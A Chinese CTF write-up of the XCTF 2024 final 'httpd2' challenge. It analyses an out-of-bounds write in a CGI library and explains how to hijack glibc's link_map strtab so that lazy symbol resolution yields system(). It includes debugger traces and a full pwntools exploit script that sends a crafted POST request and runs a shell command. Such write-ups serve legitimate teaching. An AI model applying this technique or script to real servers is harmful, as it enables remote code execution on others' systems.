XCTF-2024-Final-httpd2详解,劫持link_map以实现任意函数执行

admin 2024年7月8日13:09:34评论1 views字数 7441阅读24分48秒阅读模式

httpd2 是 2024 年 XCTF 决赛中的一道题目。

题目附件:httpd2.zip(http://122.5.204.189:9000/httpd2.zip)

漏洞

题目代码量很少,总共审计出两个漏洞。

第一个漏洞出现在 libctfc.so 中的 genCookie 函数内,这是一个数组越界写入的漏洞。

char *__fastcall genCookie(const char *a1){  ...  v4 = strlen(a1);  sub_135A(dest, 0x400uLL, a1, v4 + 1);  dest[v4] = 0; // overflow  sprintf(src, ":%lx", buf);  strncat(dest, src, 0x400uLL);  return dest;}

在上述代码中,dest[v4] = 0; 这一行存在数组越界写入的风险。

第二个漏洞出现在 libctfc.so 中的 sub_1429 函数内,这是由于错误的条件判断导致的数组越界。但是,这个漏洞是一个废洞,因为 qword_40C0 数组后没有可以方便利用的数据结构。

__int64 sub_1429(){  ...    qword_140C0 = ++v11;//.text:0x1653    if ( v11 != 0x2000 )    {      qword_40C0[v11] = v10 + 1 + v14;      if ( !v9[1] )        break;    }  ...}

以上代码段中,由于错误的条件判断,导致 qword_40C0[v11] 可能会发生数组越界访问。

利用

利用方式:修改 link_map 来劫持函数解析的结果。

原理

link_map_rtld_global 结构体的一个成员,link_map 和 _rtld_globalld-linux-x86-64.so.2 的地址偏移是固定的。

根据 glibc-2.35/elf/dl-runtime.c 源码文件,动态链接器在解析函数地址首先获取 link_map 中的 strtab 地址,该字段的获取方式为 D_PTR(l, l_info[DT_STRTAB]),将其展开后为 

((l)->l_info[5]->d_un.d_ptr + (dl_relocate_ld (l) ? 0 : (l)->l_addr))

接着使用 strtab 地址和 sym->st_name 的偏移所执行的字符串来进行解析函数。比如该字符串为 system,则解析出来的值就是 system 函数地址。

DL_FIXUP_VALUE_TYPEattribute_hidden __attribute ((noinline)) DL_ARCH_FIXUP_ATTRIBUTE_dl_fixup (# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS     ELF_MACHINE_RUNTIME_FIXUP_ARGS,# endif     struct link_map *l, ElfW(Word) reloc_arg){  const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); ...      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,            version, ELF_RTYPE_CLASS_PLT, flags, NULL); ...}

如果能劫持 (l)->l_info[5],则可以控制 strtab ,因此可以使用第一个漏洞修改该值,使其落在我们可控的内存。

根据源码可知,(l)->l_info[5] 类型为 Elf64_Dyn ,其结构体如下:

typedef struct{  Elf64_Sxword  d_tag;      /* Dynamic entry type */  union    {      Elf64_Xword d_val;    /* Integer value */      Elf64_Addr d_ptr;      /* Address value */    } d_un;} Elf64_Dyn;

因此可得(l)->l_info[5]->d_un.d_ptr是在(l)->l_info[5]地址的偏移上,再偏移8字节后取出的地址。

strtab劫持

我们可以根据偏移使用第一个漏洞修改 (l)->l_info[5] 地址,但是其还会根据该地址,再偏移8字节后取出对应的strtab地址,若我们修改的 (l)->l_info[5] 地址为不可读写地址,则程序会直接崩溃。

─────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────── RAX  0 RBX  0x7ffff7ffe2f0 —▸ 0x555555554000 ◂— 0x10102464c457f RCX  0x555555557e58 (_DYNAMIC+128) ◂— 5 RDX  0x5555555543f0 ◂— 0*RDI  0 RSI  0 R8   0xffffffff R9   0 R10  0xffffffffffffff04 R11  0x7ffff7fdf104 (_dl_audit_preinit) ◂— endbr64  R12  0 R13  0x555555555189 (main) ◂— endbr64  R14  0 R15  0 RBP  0x7fffffffda30 ◂— 1 RSP  0x7fffffffd640 —▸ 0x7fffffffd780 ◂— 0*RIP  0x7ffff7fd7c3d (_dl_fixup+56) ◂— add rdi, qword ptr [rcx + 8]──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────   0x7ffff7fd7dcf <_dl_fixup+458>    mov    eax, 0     EAX => 0   0x7ffff7fd7dd4 <_dl_fixup+463>    jmp    _dl_fixup+46                <_dl_fixup+46>    ↓   0x7ffff7fd7c33 <_dl_fixup+46>     add    rdx, rax   0x7ffff7fd7c36 <_dl_fixup+49>     mov    rcx, qword ptr [rbx + 0x68]     RCX, [0x7ffff7ffe358] => 0x555555557e58 (_DYNAMIC+128) ◂— 5   0x7ffff7fd7c3a <_dl_fixup+53>     mov    rdi, rax                        RDI => 0 ► 0x7ffff7fd7c3d <_dl_fixup+56>     add    rdi, qword ptr [rcx + 8]        RDI => 0x5555555544e0 (0x0 + 0x5555555544e0)   0x7ffff7fd7c41 <_dl_fixup+60>     mov    rcx, qword ptr [rbx + 0xf8]     RCX, [0x7ffff7ffe3e8] => 0x555555557ed8 (_DYNAMIC+256) ◂— 0x17   0x7ffff7fd7c48 <_dl_fixup+67>     add    rax, qword ptr [rcx + 8]        RAX => 0x5555555546c0 (0x0 + 0x5555555546c0)   0x7ffff7fd7c4c <_dl_fixup+71>     mov    ebp, esi                        EBP => 0   0x7ffff7fd7c4e <_dl_fixup+73>     lea    rcx, [rbp + rbp*2]              RCX => 0   0x7ffff7fd7c53 <_dl_fixup+78>     lea    rsi, [rax + rcx*8]              RSI => 0x5555555546c0 ◂— 0x4000───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────In file: /glibc/glibc-2.35/elf/dl-runtime.c:49   44 # endif   45            struct link_map *l, ElfW(Word) reloc_arg)   46 {   47   const ElfW(Sym) *const symtab   48     = (const void *) D_PTR (l, l_info[DT_SYMTAB]); ► 49   const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);   50    51   const uintptr_t pltgot = (uintptr_t) D_PTR (l, l_info[DT_PLTGOT]);   52    53   const PLTREL *const reloc   54     = (const void *) (D_PTR (l, l_info[DT_JMPREL])

如上面汇编的结果所示,

<_dl_fixup+49> mov rcx, qword ptr [rbx + 0x68]指令是取出(l)->l_info[5]地址。

<_dl_fixup+56> add rdi, qword ptr [rcx + 8] 指令则是根据该地址偏移8字节后取出对应的 strtab 地址,若取出的 rcx 为不可读写地址,则执行到 <_dl_fixup+56> 处时,程序将崩溃。

对此,我们需要伪造一个指针结构,并且该指针所指的内存用户可控。

libctfc.so:sub_1429函数恰好满足上述要求,libctfc.so 会将 POST参数 以指针形式存入到 qword_40C0 数组中,其举例如下所示:

wget http://127.0.0.1/cgi-bin/main.cgi?a=1&b=2&c=3-->char *qword_40C0[0x2000]{  "a=1",  "b=2",  "c=3"};

所以我们可以使用该逻辑来实现指针的伪造。

利用方法

根据各个库函数在内存中的布局:

XCTF-2024-Final-httpd2详解,劫持link_map以实现任意函数执行

我们首先攻击 libctf.so:link_map,使得其 (l)->l_info[5] 恰好指向 qword_40C0 地址,该过程并非100%成功,需要进行爆破

随后在 qword_40C0 内存处,布置大量指针,用于提前布置伪造的 strtab 数据。

紧接着,程序在随后进行解析 getPass 的过程中,就会使用我们伪造的 strtab 数据进行函数地址解析。因此,我们可以将其修改为任意的库函数,比如 system 函数。

地址定位

知道了利用方式后,我们需要知道 _rtld_global 的地址、link_map 的地址。

_rtld_global 的地址是存在于ld-linux-x86-64.so.2 的符号表中的,因此该地址可以比较容易找到。

根据 glibc 源码可知,其第一个元素指向了程序的 link_map ,由于各个 link_map 是使用双向链表互连的,因此可以利用该程序的 link_map 寻找到所有的 link_map

pwndbg> p/x &_rtld_global$1 = 0x73d7508bb040pwndbg> tele 0x73d7508bb04000:0000│ r15 0x73d7508bb040 (_rtld_global) —▸ 0x73d7508bc2e0 —▸ 0x5e33d11b6000 ◂— 0x10102464c457f01:0008│     0x73d7508bb048 (_rtld_global+8) ◂— 602:0010│     0x73d7508bb050 (_rtld_global+16) —▸ 0x73d7508bc5a0 —▸ 0x73d7508802c0 —▸ 0x73d7508bc2e0 —▸ 0x5e33d11b6000 ◂— ...03:0018│     0x73d7508bb058 (_rtld_global+24) ◂— 004:0020│     0x73d7508bb060 (_rtld_global+32) —▸ 0x73d75087fca0 —▸ 0x73d75051d000 ◂— 0x3010102464c457f05:0028│     0x73d7508bb068 (_rtld_global+40) ◂— 006:0030│     0x73d7508bb070 (_rtld_global+48) ◂— 007:0038│     0x73d7508bb078 (_rtld_global+56) ◂— 1pwndbg> tele 0x73d7508bc2e000:0000│  0x73d7508bc2e0 —▸ 0x5e33d11b6000 ◂— 0x10102464c457f01:0008│  0x73d7508bc2e8 —▸ 0x73d7508bc888 ◂— 002:0010│  0x73d7508bc2f0 —▸ 0x5e33d11b9d80 (_DYNAMIC) ◂— 103:0018│  0x73d7508bc2f8 —▸ 0x73d7508bc890 —▸ 0x7ffe685e2000 ◂— jg 0x7ffe685e204704:0020│  0x73d7508bc300 ◂— 005:0028│  0x73d7508bc308 —▸ 0x73d7508bc2e0 —▸ 0x5e33d11b6000 ◂— 0x10102464c457f06:0030│  0x73d7508bc310 ◂— 007:0038│  0x73d7508bc318 —▸ 0x73d7508bc870 —▸ 0x73d7508bc888 ◂— 0

其中[link_map+0x18]link_map.l_prev,即指向上一个link_map

其中[link_map+0x20]link_map.l_next,即指向下一个link_map

其中[link_map+0x8]link_map.l_name,即指向该库的文件名,比如libc.so.6

pwndbg> tele 0x73d75087fca000:0000│  0x73d75087fca0 —▸ 0x73d75051d000 ◂— 0x3010102464c457f01:0008│  0x73d75087fca8 —▸ 0x73d75087fc90 ◂— './libc.so.6'02:0010│  0x73d75087fcb0 —▸ 0x73d750735bc0 ◂— 103:0018│  0x73d75087fcb8 —▸ 0x73d7508bbaf0 (_rtld_global+2736) —▸ 0x73d750881000 ◂— 0x3010102464c457f04:0020│  0x73d75087fcc0 —▸ 0x73d75087f740 —▸ 0x73d750745000 ◂— 0x10102464c457f05:0028│  0x73d75087fcc8 —▸ 0x73d75087fca0 —▸ 0x73d75051d000 ◂— 0x3010102464c457f06:0030│  0x73d75087fcd0 ◂— 007:0038│  0x73d75087fcd8 —▸ 0x73d750880130 —▸ 0x73d750880148 ◂— 'libc.so.6'

其中[link_map+0x0]为link_map.l_addr,即指向库或者程序的基地址,通常可以利用该值来判断我们寻找的link_map是否正确。

其中[link_map+0x68](l)->l_info[5],即我们要劫持的位置。

利用脚本

0x125f4adestlibctfc.so:(link_map)->l_info[5] 的偏移,我们修改的是该地址的第2个字节,以此来爆破该地址,使其落在 qword_40C0 内存上。由于 libctfc.so:(link_map)->l_info[5] 的低12位为0xea0,因此伪造的 strtab 应放在该地址的8字节偏移处。根据 libctf.so 的elf信息,其getPasssymst_name0x6a,所以其偏移的 0x6a 位置就是要解析的函数字符串,这里我们将其设置为 system 函数。其中0x0c0qword_40C0 的低12位。

0x125f4a 偏移会随着系统的改变而改变,所以该脚本可能并不适用于其他系统,不同系统需要通过调试结果来修正该值。

#!/usr/bin/env python3# -*- coding:utf-8 -*-from pwn import *from urllib.parse import quotecontext.clear(arch='amd64', os='linux', log_level='info')sh = remote('127.0.0.1', 80)payload = b'passwd=' + b'a'*0x125f4a + b'&username=' + quote(b'touch /tmp/hacker').encode()for i in range(2,0x2000):    if ((0x0c0 + i * 8) & 0xfff) == 0xea0 + 8:        payload += b'&b=' + cyclic(0x6a-2) + b'system'    else:        payload += b'&c=' + str(i).encode()content_length = len(payload)request = b"POST /cgi-bin/main.cgi HTTP/1.1rn" +b"Host: 127.0.0.1rn" +f"Content-Length: {content_length}rn".encode() +b"Content-Type: application/octet-streamrn" +b'rn' +payloadsh.send(request)sh.interactive()

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

PS:团队纳新简历投递邮箱:

[email protected]

责任编辑:@LYK0r4师傅

XCTF-2024-Final-httpd2详解,劫持link_map以实现任意函数执行

原文始发于微信公众号(星盟安全):XCTF-2024-Final-httpd2详解,劫持link_map以实现任意函数执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月8日13:09:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XCTF-2024-Final-httpd2详解,劫持link_map以实现任意函数执行http://cn-sec.com/archives/2930503.html

发表评论

匿名网友 填写信息